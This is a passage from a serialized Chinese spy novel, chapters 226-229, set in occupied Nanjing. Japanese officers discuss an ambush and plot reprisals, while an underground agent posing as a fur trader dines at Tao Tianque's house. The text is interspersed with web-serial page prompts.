文科毕业生上海领事馆的总领事岩井先生,弯腰从地上捡起这块玻璃,不解地端详着,不得不自降身份,忍不住还是求教道:“黑木君,这块玻璃有什么不同吗?” “太狡猾了!”黑木的牙齿咬的咯咯响,“匪徒是用这块放大镜对太阳进行聚光,并点燃了炸药引线!” …… 鼓楼医院里,此刻住满了刚刚收治入院的病人。 除了宪兵司令部的清水少将和十来位日军士兵以外,还有一名中国人也在收治之列,他就是被日军方面军司令部任命的南京警卫军司令官刘云雄。 黑木率先探望的不是清水将军,而是刘云雄。 他和清水不熟,清水的死活与他关系不大,天塌下来,自然有高一阶的中岛中将给他顶着,而刘云雄就不一样了,如果他出了事,松井所要问罪的,非他莫属。 刘云雄看到黑木前来,非常感动,挣扎着想爬起来,可一只腿实在用不上力,站在床边一侧的林赤,见状连忙把他扶坐起来。 黑木看到这一切,不由松了口气,一问,他更加坦然了。 刘云雄的枪伤位置在右大腿根部,再往上一厘米,或许会伤及他的根本,这对于刘云雄来说,是不幸中的大幸,对于黑木来说,是万幸中的万幸。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第226章 登门拜访 从刘云雄的病房出来,黑木在医院走廊上遇到了中岛。 中岛是特地来看望宪兵司令部清水司令的,二人互道问候,并肩来到清水的病房。 在这次袭击中,清水虽然捡回了一条命,但他丝毫不觉得庆幸,因为他被破相了。他的整张脸不但被玻璃碎片划伤,还遭到一定程度的烧伤,这对于视容貌为仕途升迁之本的清水而言,比要了他的命还难过。 普天之下,从古到今,又有谁听说过满脸疤痕的大将军? 当然,清水此时并不知木村的事,如果木村已殉国身亡的消息传入了他的耳朵,恐怕他又是另一番心境。 中岛和黑木在门外就听到了清水的骂娘声。 此时,清水的脸上包扎上了厚厚的纱布。 清水看到中岛他们一进屋,仿佛看到了娘家人,霍地坐起,满腔委屈喊道:“将军,袭击我们车队的到底是什么鬼?威力大得惊人,躲都躲不掉!” “敌人用的是一门苏罗通S5-106 20毫米机炮,架在清凉山上,我们派出去搜索的士兵已回来报告,他们在山顶上发现了数百枚的弹壳,敌人正是以此为阵地,实施了对我们车队的袭击!”中岛平静说道。 “八嘎,赶紧命令全城搜捕啊!” “清水君不要急躁,我已布置下去了!” 有士兵搬进两张椅子,中岛率先坐下,黑木来到清水床前,安慰道:“清水君,伤哪儿啦?伤得重吗?” “死不了!”清水瓮声瓮气呛了一句。 黑木也不生气,在清水床沿坐下,面朝清水道:“不管怎么样,清水君该安心养伤才是,相比木村将军,阁下是幸运的……” 清水一激灵,脱口道:“难道木村将军他……” 中岛红着眼睛接过话茬:“木村将军殉国了!” 这简直是一剂世上最特效的良药,清水顿时安静了下来,半晌,颤抖着声音问:“损失严重吗?” “耻辱!奇耻大辱!”中岛愤怒站起身,“今天,是我帝国皇军入驻南京以来的耻辱日,敌人先后袭击了我们的车队,劫持了我们老虎桥监狱的囚车,还在现场安放了一包炸药,并试图刺杀我们警卫军的刘司令!” 说到这儿,黑木忍不住问中岛道:“那名杀人灭口的帝国士兵的身份查清楚了吗?” “这名刺客根本就不是帝国士兵!”中岛又愤懑起来,“我们从他身上搜到了一本朝日新闻的记者证,他是伪装成帝国记者混进来的支那人!” 看到黑木惊诧的神色,中岛又道:“黑木君和清水君还记得那晚会议上了那名记者吗?” 黑木连连点头。 清水不敢大幅度晃动脑袋,怕扯了伤口,但又极力想表达自己了解这件事,只得微微点了一下头并使劲眨了眨眼睛,抢先道:“朝日新闻的记者我有印象,他好像叫户田……户田青木?” “是的,从刺客身上搜出的就是他的记者证,目击者称,他并未出现在今天的会场,我们查遍了所有的地方都没能找到,八成是遇害了!” 黑木一直在思索,待房间里安静了下来才说道:“有一件事我不甚明白,那名刺客为何连自己的生命都不顾,急于杀害狙杀刘将军的枪手?这需要多大的勇气?” 中岛略一思考道:“当然是杀人灭口喽,那名枪手必定掌握了很多核心机密,敌人怕他落入我手会招供出来,才断然采取这样决绝的措施!” “不会这么简单吧?一名狙击手能掌握什么核心机密?” 中岛嗤笑一声,未作回答。 黑木又道:“敌人的此次行动如此缜密,计划如此周祥,动静如此之大真是出乎了我的意料,我压根没想到,敌人在南京城还有这么大的能量!” 清水马上问:“你们说,此次袭击是重庆方面的还是延安方面的?” “这需要问问专门负责情报工作的黑木君了?”中岛冷冷说道。 “当然是军统在作祟!”黑木毫不迟疑答道,“共产党一穷二白,人丁不旺,武器又落后,怎么可能发起这么大规模的袭击?制定这样的计划,不但需要大量人力和武器,还需要执行者的高度协调!再说那门苏罗通S5-106 20毫米机炮,南京城的地下党又如何获取?即便获得,恐怕会使用者也不好找啊!” “既然黑木君这么自信,这接下来的善后工作,就要靠黑木君的松机关去完成喽?” “我松机关自然会倾力而为!”黑木淡淡回应中岛一句,再次面向清水道:“清水君,你好好养伤,接下来还有两件急迫的事务需要阁下的宪兵司令部鼎力相助!” “哦?黑木君尽管吩咐!” “前些日子,松井将军特意交代,栖霞山的锰矿开采需要提上议事日程!阁下知道,帝国目前钢铁冶炼的缺口很大,锰矿的开采已刻不容缓!” “还有第二件呢?” “帝国的高层,想就南京的治理参照其他城市的成功模式,已物色了一名中国人,他的资格很老,说话也有分量,由他来组建南京政府……” 本小章还未完,请点击下一页继续阅读后面精彩内容!“嗯……他叫什么?” “梁洪之,不日后他将抵达南京。”黑木顿了顿道:“前不久,他先期指派了一名特使,可是一进入南京就出现了意外……” “会有这事?什么样的意外?” “这名特使先生入城后不久,在中山东路被一名狙击手刺杀了!所以清水将军身上的担子不轻啊,司令部命令我们,全力保障这位梁先生的人身安全,可不能再出变故啊!” “狙击手,又是狙击手!支那人哪来那么多狙击手?!” …… 夜色垂暮之际,两辆黄包车无声地行驶在大街上。 两辆黄包车上,各自坐了一人,年纪都不是很大,最多也就三十来岁。坐在前一辆的年轻人戴着一顶礼帽,只是礼帽压得很低。后面一位头上什么也没有,他显然感觉到了冷风的侵袭,把棉衣领子竖了起来。 戴礼帽的乘客先是东张西望,可还是觉得无聊,便想到了抽烟,掏出一包香烟看了看,忽然似有顿悟,连忙把香烟放进口袋,伸手再掏另一口袋,果然摸到了所念之物,美滋滋地打量了一眼,便塞到嘴里。 这是一根半截的雪茄。 他掏出火柴,好不容易划着,可由于风太大,转眼间被无情吹灭,他不甘心,又划着了一根,这一次他异常小心,用棉大衣把小小的火苗保护好,待得火柴燃烧旺了,才低下脑袋使劲吧嗒吧嗒几口。 事实再次证明,再小的火苗,都可能成事。他似乎也想到了这点,亲切地端详了一眼雪茄头上隐隐的红光,忍不住对着火光又吹了一下。 两辆黄包车一前一后拐进了三元巷,在一栋豪华阔气的院子前停了下来。 “小储,你付一下车钱。”戴礼帽的口气像是一个老板,待那位小储付完车钱后,他目送着黄包车离去,又道:“小储,等会儿见到陶会长后,但凡有其他人在场,不要暴露我们的身份!” “是,首长!” “又不长记性了!忘了我怎么跟你说的?要叫老板!” “是的,老板。” 镰刀满意地微微一笑,猛吸了一口指缝间比指甲长不了多少的雪茄,刚想扔掉,又紧急刹住,对视片刻,还是恋恋不舍让它自由落体,临了还不忘用脚底踩成粉末。两人来到门前,镰刀主动后退一步,储洪义抬手敲门。 一名老妪探出脑袋。 镰刀上前一步,说道:“麻烦您通报一下陶老会长,就说一位贩皮货的张老板求见。” 老妪关上门,急急离去。不一会儿,门复被打开,一个五十来岁的男子跨出门外,低着声热情说道:“张老板,我们陶会长有请!” 陶天阙站在门厅外,远远地抱拳道:“张老板,快快请进!”说着把目光落在那名五十来岁的男子身上,吩咐道:“老周,给两位客人看茶!” “陶会长,张某人前来讨口酒喝,您老不会介意吧?”镰刀也抱了一下拳,回礼道。 “哪里哪里,求之不得呢!”说完陶天阙又朝着老周的背影大声道:“老周,让厨房准备几样硬菜,我今晚要和张老板好好喝上几杯!” 老周欢快地应了一声。镰刀把储洪义介绍给陶天阙,“这是我的伙计小储!” 陶天阙和储洪义握了一下手,把二人引进大厅,三人刚刚入座,陶天阙乐呵呵道:“老弟,今儿个我太高兴了!” “是吗?陶老乐从何来?”镰刀似笑非笑问道。 “我中午刚从鼓楼广场回来,小鬼子们都乱成一锅粥了,有人引爆了楼顶上的炸药,据说鬼子的车队也遭到了袭击,此外老虎桥监狱的一辆囚车也被人劫走了……对了,还有更激动的呢,现场还出现了一名枪手,并打伤了一名叛徒!”陶天阙突然压低声音问道:“此人叫刘云雄,原是国军的一名旅长……这是你们的人干的吧?” “今天的袭击的确很提气!这要感谢陶老的慷慨相助,那门机炮可起了大用场了!”镰刀说着突然正色起来:“不过,那名枪手可不是我们派的!” “哦?这么说此次大闹鬼子的授勋仪式还另有其人?” “您想想啊陶老,如果是我们的人,会放着鬼子的将军不顾,去杀一个毫无多大价值的叛徒军官?” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第227章 毒计出炉 镰刀的烟瘾又犯了,忍不住打了个哈欠,伸手掏烟,看到茶几上一尘不染、大厅里井井有条,不自觉把手又缩了回来,这个细微的动作被陶天阙尽收眼底,陶天阙顿时一脸愧疚,边站起边笑道:“是我疏忽了,贵客光临,竟然连根香烟也不供上!” “我有烟。”镰刀像收到某种提示,迫不及待把手插进上衣口袋,转眼间就用两根手指钳出烟盒,抖出一根,递给陶天阙。 陶天阙居高临下压了压他的手,立即道:“你是我的客人,当然抽我的!”顿了顿又问:“张老弟还习惯抽雪茄吗?” “只要是烟,我都习惯!”镰刀扭扭捏捏说了一句,主人如此好客,却之不恭。镰刀把烟卷放在鼻子下来回嗅着,热切地看着陶天阙进了书房。 陶天阙拉开抽屉,想都没想抓起一盒雪茄,便出了房间。 镰刀瞟了一眼陶天阙手里的雪茄,若无其事把眼光转向他处,心不在焉对储洪义说道:“小储,家里还有什么人?” “除了父母亲,我还有个弟弟……” “哦。”镰刀应着,目光已和陶天阙手上的物什交织在一起。 陶天阙打开雪茄盒,他的神色明显愣了一下,印象中这盒雪茄应该是满满的才对,可是只剩下了一支,尽管心中充满疑虑,但陶天阙并未表现出来,很快拿出唯一的一根,递给镰刀,镰刀也不谦虚,甚至连句道谢的话都没说,大大方方接过,很快就把它弄着。 轮到储洪义,陶天阙一脸歉意把空盒子的底兜给他看了一眼,储洪义连忙摇手表示不会抽,陶天阙不依,转身又进了书房。 陶天阙亲手帮储洪义点着烟,这会儿,老周进来,把两杯茶水搁在二人的面前。老周起身欲离去,陶天阙有意无意问道:“歌儿呢?” “此时应该在偏房,和罗蔓小姐在一起。” “晚上的饭菜准备得怎么样了?”陶天阙跟随着老周一道迈步出了厅堂。 “我已安排下去了,厨房准备着呢。” 陶天阙穿过院子,来到偏房,抬手敲门,房间里传出窸窸窣窣的声音,好半天陶楚歌开了门,陶天阙一进门,还没问话,便被浓烈而刺鼻雪茄味呛得咳嗽几声,马上板起脸道:“歌儿,你们抽烟啦?” 陶楚歌支支吾吾道:“爷爷,您找我有事?” “我问你抽没抽烟?”陶天阙厉声问。 “抽了……”陶楚歌垂下眼帘,像是个犯了错误的孩子,半晌忽然抬高了声音道:“爷爷,我有点烦!” “一个女孩子家,抽什么烟?”陶天阙有点生气,“你有什么好烦的?” 此时罗蔓正坐在桌旁,闻言连忙站起,趋步走到他面前,嗫嚅道:“陶老先生,是我不好,是我想抽,是我让歌儿给我拿了几根,歌儿也就图个新鲜,没抽几口……” 陶天阙听说过眼前这位女孩的非人遭遇,知道她小小的年纪所经历的创伤和磨难,立即和颜悦色道:“罗小姐,以后需要抽烟直接找我要!”说完狠狠瞪了陶楚歌一眼。 陶楚歌吐了一下舌头,扮了个鬼脸,陶天阙气不打一处来,喝斥道:“我看你一点也不烦,你如果再不听爷爷的话,我把你送到比爸爸妈妈那儿,让他们来管束你!” “不要啊爷爷!下次不敢了!”陶楚歌装作很害怕的样子,突然话锋一转:“爷爷,我最近确实心烦得很!” “那就给我多看看书,我看也只有书能够让静下心来!” 陶天阙又绕道厨房,了解了一下晚餐准备的情况,回到了客厅。 一坐下,陶天阙正色道:“张老弟,此次前来是不是找我有事?” “我是想请陶老给我们一份差事!”镰刀一本正经起来。 “哦?”陶天阙露出质疑的神色。 镰刀给储洪义使了个眼色,储洪义赶忙走向门外,并把在门口。 “我需要一个合理的身份掩护!”镰刀压低声音,“陶老您知道做我们这一行的,必须做到万无一失,很多地址只能用上一次,多了就不保险了!” 陶天阙若有所思点了点头,抬头问:“张老弟需要什么样的身份?” “最好是一个独立的场所,比如店铺呀什么的!您就交给我独立经营,这样的话比较方便!” “这好办!”陶天阙一脸轻松,“你就静候佳音吧!” “谢过陶老!”镰刀眼睛里布满虔诚,“只是给陶老又添麻烦了!” “小事一桩!”陶天阙引镰刀站起,“走,咱们边喝酒边聊!” …… 未能如愿举办的授勋仪式在黑木和中岛的心上,像是蒙上了一层厚重的阴霾,怎么都挥之不去,无奈之下,二人叫上岩井,相约去大使馆附近的一家澡堂沐浴一番,最好是能洗去满身的晦气。 早有先头部队前去清空了澡堂的澡客,当然,非常时期,这些澡客非富即贵,均是和驻宁的日军有着千丝万缕的联系,但中岛和黑木是何许人也,他们乃是南京城这座金字塔的塔尖,加上白天受了不大不小的惊吓,尽管澡客极力抗议,还是被毫不留情驱逐了出去。 本小章还未完,请点击下一页继续阅读后面精彩内容!被驱逐走的,除了怨声载道的澡客,还有澡堂的两位资深的扬州搓背师傅。在澡堂的水池里泡了半小时后,三人赤条条走出浴池,才发现只能靠自己,于是相互帮忙搓背。 搓着搓着三人又联想起白天的羞辱,长吁短叹一番后,黑木忽然计从心来。 “既然木村这颗将星陨落南京,我想在中国用最隆重的葬礼来告慰他的灵魂!”黑木率先说道。 “黑木君,你又想了个什么点子?”中岛在身心得到放松后,话也多了起来。 “木村将军不能白死!”黑木大义凛然道,“我们必须让支那人付出沉重的代价,唯有如此,才能对得起英年早逝的木村君!” 岩井问:“黑木君想怎么做?” “选择一个出殡吉日,全城张贴告示,让全南京的民众和我们一起追悼木村君,到时,要求所有支那人必须身着一身素衣,可以是黑色、白色,但绝对不可出现红色,除此之外,所有居民在这一天不可燃放鞭炮,不可办喜事,不可张灯结彩……” “否则?”中岛笑吟吟问道。 “凡违反布告之规定者,一律杀无赦!”黑木毅然决然说道。 “好主意!”中岛击掌叫好,“还是黑木君思维敏捷。” “木村君不能就这样不明不白死去,必须拉些陪葬的中国人,那天,让我们的士兵全城出动,不间断巡查,一旦出现上述情况,格杀勿论!” “好,我赞同,就这么办!”中岛兴奋说道。 “还有,我还听说栖霞山寺庙里有一位得道高僧,我们要给木村君举行一个盛大的超度仪式!” “吆西,木村君在天之灵一定会感激黑木君的!黑木君,你来具体操办,我让宪兵司令部和我的警备司令部全权配合你!” 就这样,一个恶毒的主意在三人的沐浴中诞生,并得到了升华。 黑木心中还挂念另一事,觉得时间已差不多,便出浴更衣,和其他二人分道扬镳,乘车匆匆赶回松机关。 在黑木的意识里,他有一件紧要的事需要马上处理。 黑木回到松机关的时候,已是下午。 还没进办公室,在憩庐前他就遇到了满脸愠怒的渡边,看样子,渡边好像刚刚从外面办事归来。 “将军,鼓楼区公所的池碧疆今天不见了!”和黑木照面后,渡边怯怯道。 “他不是今早还现身于鼓楼广场参加授勋仪式了吗?你安排跟踪的人呢?”黑木强忍住即将喷薄而出的怒气。 “我们在他家的附近,发现了两名跟踪者的尸体,是被枪击而亡,显然是遭到了暗算,他们的座驾也不见了!” “他的家人呢?”黑木尚存一丝侥幸。 “一同消失了,包括他的老母亲和妻子。” 黑木的鼻子呼呼地出气,不甘心又问:“听说他有个女儿,难道也不见了?” “是的将军……”渡边不敢正视黑木的双眼,“今天的授勋仪式,敌人是一箭多雕,不但趁乱制造了劫囚事件,还利用我们注意力的分散和麻痹大意把池碧疆接应出去,可谓用心良苦!” 长时间的沉默后,黑木断然道:“渡边小姐也不要太过自责,如今的南京城像是铁桶一样,只能进不能出,我料他们一时半会儿也飞不出去,抓紧时间全城搜捕!” …… 在陶府的餐厅里,餐桌周围众人围成一圈。 镰刀和陶天阙坐在上首,储洪义紧挨着镰刀,此外,罗蔓和陶楚歌也应邀入席。 待席位坐满后,陶天阙分别把众人一一作了介绍。 镰刀已多天没有沾酒,加上今天确实是个着实让人高兴的好日子,还没动筷,镰刀和陶天阙已互碰了三杯。 陶会长今天也神清气爽,三杯酒下肚,他脸色微红,捋了捋胡须,兴高采烈招呼众人吃菜。 镰刀举筷,尝了一块鸭肉,刚要啧啧夸耀几句,忽然听到外面的马路上有了不小的动静。先是摩托声的刹车声,接着出现了汽车的引擎声。 还未细辨,老周匆匆闯进,一脸忧色,急切道:“陶会长,外面来的好像是日本人!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第228章 意外的相逢 陶天阙霍地站起,目视镰刀,低声道:“张老弟,要不要先躲一躲?” 镰刀略一沉吟,笑道:“有什么好躲的,我不就是一名皮货商人吗?是来和陶会长谈生意的!” 陶天阙不再勉强,时间已很急迫,便跟着老周匆匆走了出去。 余光中,镰刀隐约觉得对面一人一直在暗暗打量自己,蓦地转头一看,发现是罗蔓,罗蔓坐在陶楚歌身旁,不经意和镰刀的目光相遇,也不慌乱,轻笑着,缓缓收回目光。 “罗小姐,我敬你一杯酒!”镰刀主动端起酒杯,往前送了送。 罗蔓赶紧举起酒杯,笑盈盈道:“这杯酒张老板想怎么喝?干掉如何?” “没问题啊!”镰刀不愿废话,一仰头把酒倒进嘴里,咂了一口,给罗蔓亮了亮杯底,静静地看着罗蔓。 罗蔓举杯的手有些迟疑,缩回杯子,再次看了看杯中之酒,先是露出为难之色,很快一脸决然,似乎下了很大的决心,也把酒倒进肚子,接着放下杯子,四指并拢不停在唇边扇着风,显然是被酒辣到了。 “罗小姐是哪里人?”镰刀漫不经心问道。 “南京人。”罗蔓收回手,立即答道,“张老板您呢?” 镰刀刚要回答,已听到院子里传来纷乱的脚步声,稍稍顿了顿答道:“我是湖北人。” 罗蔓不再搭话,不自觉低下脑袋。 门外,陶天阙正把黑木一众人迎进院子。 一踏进大门,黑木对陶天阙抱了抱拳,带着满满的歉意道:“陶会长,此次拜访没有预先打招呼,还望您老见谅!” “我陶家的大门随时对将军敞开,将军想来便来,不用拘泥俗套!”陶天阙站在原地,耐心等着黑木的卫兵一拥而入,随后紧跟的是渡边小姐,接着进来一人,陶天阙正要亲手关门,忽然目光落在了他的身上,不禁脱口道:“林先生,怎么是你呀?” 最后进来的正是林赤。 林赤想都没想伸手握住陶天阙,摇晃了几下,亲切道:“陶老,还欢迎吗?” “岂能,来的都是客!”黑木立在前面等着陶天阙,陶天阙趋步上前,迫不及待问道:“将军,你们还没吃饭吧?要不一起吃点?” “没呢,我们特地留了肚子,想蹭顿饭,陶老不会介意吧?” “欢迎欢迎,只是我们已经开吃,要不我让厨房在给您重新准备几个菜?” “不用不用,这样挺好的,如果陶老特意为之,反而会把我吓到!”说着黑木扭头看了一眼亮堂的餐厅,依稀听到里面传来声音,有意无意问道:“陶老是不是有客人?” “……嗯,谈不上客人,就是生意上的一个合作伙伴!” 随行的卫兵快速散布了整个院子,陶天阙的身旁只剩下黑木、渡边和林赤。 “老周,让厨房给将军的警卫弄些吃的!”陶天阙大声吩咐道,不待老周回话,三两步走到黑木的前头,将黑木一行引向餐厅。 “将军请!”陶天阙率先快进屋内,对陶楚歌道:“歌儿,你和罗小姐去厨房用餐吧,这里让给客人!” 陶楚歌和罗蔓连忙站起,脚步尚未移动,黑木抬手压了压,道:“不用,不用,随意点好……”环视一圈接着道:“座位刚刚好嘛,加上我们三人才凑足八位。”边说边看着陶楚歌,却见陶楚歌对他视而不见,她的目光透出十二分热切,紧紧地盯着黑木的身后。 黑木回头,见身后站的正是林赤,当即明白了一切,拉了拉林赤,微笑道:“林先生,这有一个空位,你就坐在陶小姐身旁!”他的手指了指紧邻陶楚歌的坐席,但闻林赤轻声应了一声,闪身入座。 “林大哥!”陶楚歌没等林赤坐稳,拉了拉他的衣袂,急切问候了他一句。 林赤微笑颔首,亲切地拍了一下陶楚歌的肩。 陶楚歌心如鹿撞,依着林赤的座位一屁股坐下,刚想和他再说点什么,发现林赤的目光已移向他处,只得生生忍住。 林赤巡视一圈,眼睛匀速从每个人身上移过。 自他进门之后,他就发现了镰刀,尽管内心惊诧,但他面色平静如水。 镰刀似乎对他视而不见,他的眼睛一直在跟随黑木移动。 林赤抬手把身体左侧的椅子拽出,抬头看着依旧站在一旁的渡边,说道:“渡边小姐请坐!” 渡边这才欠身坐定。 黑木的目光从陶楚歌身上掠过,落在了罗蔓的脸上。 罗蔓低下头,不敢正视黑木。 黑木已绕到罗蔓身后,好奇问陶天阙:“这位是?” “罗小姐,还不见过黑木将军?”陶天阙迎着黑木的目光,回答道:“她叫罗蔓,帮歌儿在利民诊所打打下手!” 罗蔓见缝插针,对黑木鞠了一躬,“将军!” 黑木点点头,围着桌子继续前行,这才把目光停在镰刀的脸上。 镰刀站起身,手按在桌上,也向黑木鞠躬,抬头间,嘴里已迸出话语:“将军好!”话一说完,欢笑着跑到黑木跟前,帮他从桌下拉出一张椅子,“将军请入座!” 本小章还未完,请点击下一页继续阅读后面精彩内容!黑木并未马上坐下,而是继续盯着他。 镰刀没有丝毫迟滞,忙不迭声道:“在下张豪,是一名皮货商人,这一位是我的伙计储大宝……”不等黑木回话,他滔滔不绝自顾自说道:“将军,在下万万没想到今天能认识您,这实在是在下的荣幸,我们中国人把这样巧合的相遇相识理解为一种缘分,如果将军不嫌弃的话,可否交我这样一位朋友?” 镰刀根本不把自己当外人,见黑木诧异地瞪大眼睛,一副尴尬的神情,便又娓娓说道:“如今这个世道,没有一些像将军这样有地位的朋友,他娘的还真不好办事,不但处处受刁难,真可谓是寸步难行!只是在下尽管想法美好,不知将军给不给面子,让在下高攀一下?”说完殷切地看着黑木,期待着他的答复。 黑木不自在地绽开一丝笑容,身子往前探了探,咳了两声道:“好说好说!”他也想提问几句,忽然发现对方已把他想问的话都提前说了,一时不知从何说起,只得转移话题,面朝陶天阙道:“陶老,快快请入座,您不坐我们不好动筷啊!” 陶天阙在镰刀和黑木之间坐下。 黑木提起筷子,眼睛从桌上的菜肴逐一扫过,夸张地叫了起来:“你们的晚餐很丰盛呀!看样子一定是有喜事喽?能告诉我你们在庆贺什么吗?” 陶天阙一边给黑木斟酒一边答道:“这么多年下来,我的胃越来越娇贵了,平凡的菜还不待见,也就是家常便饭!”又说:“我这些年是赚了点小钱,吃的方面几乎占了大头,不过我陶某人想得很开,钱这东西生不带来,死了也带不走,好吃好喝,不亦乐乎!” 黑木利用挤出的这段时间,终于想到了一个问题,正要询问镰刀,镰刀抢先举起酒杯,送到黑木的面前,诚惶诚恐道:“将军,我能敬您一杯酒吗?” “当然!”黑木端起酒杯,见对方一饮而尽,便把酒杯放到嘴边轻呷了一口,放下酒杯,又欲提问,忽见对方正色道:“将军还是看不起我,我已表示了我的诚意!”说着,把空酒杯呈给黑木看。 黑木骨子里并不屑于和这位皮货商有更多的交集,但碍于众人都在盯着他,极不情愿再次抬起酒杯,喝之前,不忘给自己找一个台阶:“这些天来,工作太累,实在不胜酒力!”再次轻呷一口,不慌不忙放下酒杯。 镰刀没有再有表示,黑木从容问道:“转眼就是春天了,天气已渐渐转暖,张老板怎么还抱着皮货生意不放?” “难道将军有什么好生意?恳请将军给在下点拨点拨!” 镰刀顿时一脸惊喜,“我是个生意人,假如黑木将军能牵个线搭个桥什么的,好处肯定少不了您的!”说着翘起大拇指和小手指,做了个六的手势,“所得利润,将军提取六成,在下四成如何?” 黑木不想纠缠下去,咿咿呀呀搪塞着,狠狠地夹了一大筷菜,把嘴包得满满的。 众人这才纷纷举筷。 陶楚歌立即抓住机会,给林赤夹了块肉,嫣然一笑,把筷子摆在盘子上,双臂拢在胸前,搁在桌上,静静地看着林赤。 林赤有些不自然,环顾四下,却见众人都在埋头吃菜,不禁吁了一口气,不经意转头,忽然发现渡边正在注视着自己,林赤即刻感到脸上有些发烫。 见林赤终于把那块肉吃进肚子,陶楚歌这才满意地收回目光,脑袋转向罗蔓一侧,说道:“蔓儿,你怎么不吃啊?” 从黑木一行进屋,罗蔓一直显得拘谨,陶楚歌话一道出,给她壮胆不少,这才动了一下筷子。 陶天阙和黑木互敬一杯,陶天阙用餐巾擦了擦嘴,徐徐道:“将军此番登门,一定是有事吩咐喽?” 黑木瞥了一眼镰刀,回道:“事情倒是有这么一件事,不过咱们饭后再聊!” “我想也是,将军公务如此繁忙,又怎么会念起来看望老朽?” “那是我疏忽了,从今以后,我勤来往便是了!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第229章 谈判 饭餐随着黑木的立起而结束,黑木向陶天阙征询道:“陶会长,咱们说点正事吧?” 陶天阙赶紧握起镰刀的手,另一手盖住他的手背,不无歉意道:“张老弟,将军找我谈些事,怠慢了!” “不碍事,您尽管忙!”镰刀还没尽兴,依旧在仔细地挑拣一条鱼剩下的肉屑,和陶天阙相握后,迫不及待抽回手又开始津津有味地吃了起来。 陶天阙见状,向老周招了招手道:“老周,你代我再陪一下张老板。” 老周应了一句,靠着镰刀坐了下来。镰刀忽然想起什么,忙问:“陶老,我是再等等你,还是改日再来?” “这要看张老弟如何方便喽!” “行,那等陶老谈完,咱们接着谈我们的事!” 林赤跟着黑木走到门外,黑木迟疑了一下道:“林先生,想必陶府你并不陌生,你就好好转转吧,要不和楚歌小姐叙叙旧?” 林赤知道他不想带自己参与和陶天阙的谈话,便欢快应了,渡边雪奈于是也停下了脚步,却见黑木亲切对她说道:“渡边少佐,你跟我一起进来吧!” 渡边看了一眼林赤,又扫了扫陶楚歌,不情愿地挪动脚步。 黑木和渡边并肩跟在陶天阙身后,进了客厅。 黑木一走,陶楚歌雀跃般跑到林赤身边,又亲切喊了一声,“林大哥。” 一旁的罗蔓也跟着喊了一句:“林大哥。” 林赤回头看了一眼已和老周开始碰杯的镰刀,拽着陶楚歌离开餐厅。罗蔓不紧不慢地跟着他俩,一起进了偏房。 这是林赤以前的一间卧室,现在已归罗蔓。林赤四处打量着,从桌旁拉出一张板凳,缓缓坐了下来。 “你的这间房现在是罗小姐在用!”陶楚歌一边解释一边拎起桌上的茶壶,给他倒了一杯水,递到林赤的面前。 林赤刚喝了一口,忽然搁下茶杯,道:“酒喝多了,头疼得厉害,要不帮我泡杯茶?越浓越好。” “好咧!”陶楚歌从桌上取下一只空杯,放进罗蔓的手里,大大咧咧道:“蔓儿,你帮我跑一趟,记住,茶叶多点!” 罗蔓一走,陶楚歌顿有手足无措之感,满腹的话倒不知从何说起,正自着急,林赤不经意说道:“咦,今天怎么没看到赵楷?” “赵大哥这两天在忙我爷爷派给他的一件事情……”陶楚歌心不在焉应付着,忽然一拍脑袋,终于想起一件紧要的事需要对他说,思念一起,马上伸手去拉林赤的手臂,兴高采烈道:“林大哥,有个天大的好消息告诉你!” 林赤抬眼看她,漫不经心问:“什么事?” “思秋姐她……”说到这儿,陶楚歌特地顿了顿,果见对方眼睛忽然一亮,这一亮,陶楚歌竟莫名其妙沮丧起来,顿时像泄了气的皮球。 林赤紧盯着陶楚歌,盼着她的下文,可她不知何故却缄默不语。 “思秋她怎么啦?”林赤不得已,主动询问。 陶楚歌紧咬着嘴唇,还是说道:“日本人本来准备今天在鼓楼广场枪毙思秋姐的,枪毙名单据说有十几个人,押送的囚车都出了老虎桥监狱,可就在路上,这辆囚车被人劫了……”陶楚歌这一次真的没有下文了,一双清澈的眼睛紧紧地盯着林赤。 林赤的表情先是惊讶,继而愤怒,俄顷间又如释重负,短短的几句话功夫,他的脸上阴晴不定,看到陶楚歌又缄默了,再也忍不住了,脱口问道:“后来呢?后来呢?” “我哪里知道,囚车又不是我劫的!”陶楚歌赌气道。 “那你怎么知道囚车被劫了?”林赤一把抓住陶楚歌的手,竟使了五六分力道,勒得她有些痛,陶楚歌本想皱眉头,但还是生生忍住了。 “我听我爷爷说的,他今天去参加了日本人的授勋仪式……” “我也在授勋仪式现场,我怎么没听说?” “日本人瞒你呗,这又不是什么秘密,听我爷爷说,都传开了。” 陶楚歌分析得倒有七八分道理,林赤想了想,如果曲思秋真的被救了,这确实是唯一合理的解释。 显然这件事和镰刀的组织有着千丝万缕的联系!想到这儿,刹那间林赤神清气爽,多少天来压在心头的阴霾转瞬散去,他多么想跑到镰刀面前一问究竟。 陶楚歌看到林赤目光飘忽不定,片刻的功夫,他的脸色像是月朗星稀的夜空,一片明澈,知道他是发自内心的高兴。 陶楚歌并非内心狭促之人,林赤的情绪立即感染了她,她于是也由衷快乐起来。 “谢谢你告诉我这个好消息!”林赤一把抓住陶楚歌的手,竟然激动得忘乎所以。 陶楚歌很受用,反手勾住了林赤的手,林赤这才发觉自己的唐突,正要抽手,忽闻门外传来了细碎的脚步声,显然是罗蔓提着茶杯来了。 林赤刚想就此松手,脑子里突然闪现出另一件事,于是他不再犹豫,率先站了起来,手微微发力,把陶楚歌牵引起来。 与此同时,林赤的左手绕到她的背后,贴着她的腰际,轻轻一带,陶楚歌便乖乖地拥入他的怀中。 这章没有结束,请点击下一页继续阅读!这样的境遇陶楚歌连想都没敢想,心砰砰直跳,呼之欲出,整个人如同电击一般,使不出半分力气。 云遮雾绕的她大脑一片空白,思维像是凝固了一般。 这个时候,大门被推开,紧接着罗蔓讶异地叫了一声,放下茶杯,匆匆带上房门走了出去。 这一声轻叫,唯一的好处是让陶楚歌相信了这一切都不是梦境。 陶楚歌心花怒放,僵硬的身子倏然灵动了起来,不自觉地把双臂紧紧地环住林赤的腰。 就在这时,林赤在她的耳畔轻语道:“见到赵楷,一定私下转告他,这两天一定不要陪你爷爷参加日本人的活动,上海申报社有个日本人特别想见他!”话一道完,林赤赶紧垂下了双手,松开了陶楚歌。 陶楚歌天资聪慧,马上明白了林赤拥她入怀的原因,原来是想让她给赵楷传话,而这句话定然关系重大,是不可以让别人听到的,他之所以这样做,显然是时间紧迫,机会难求! 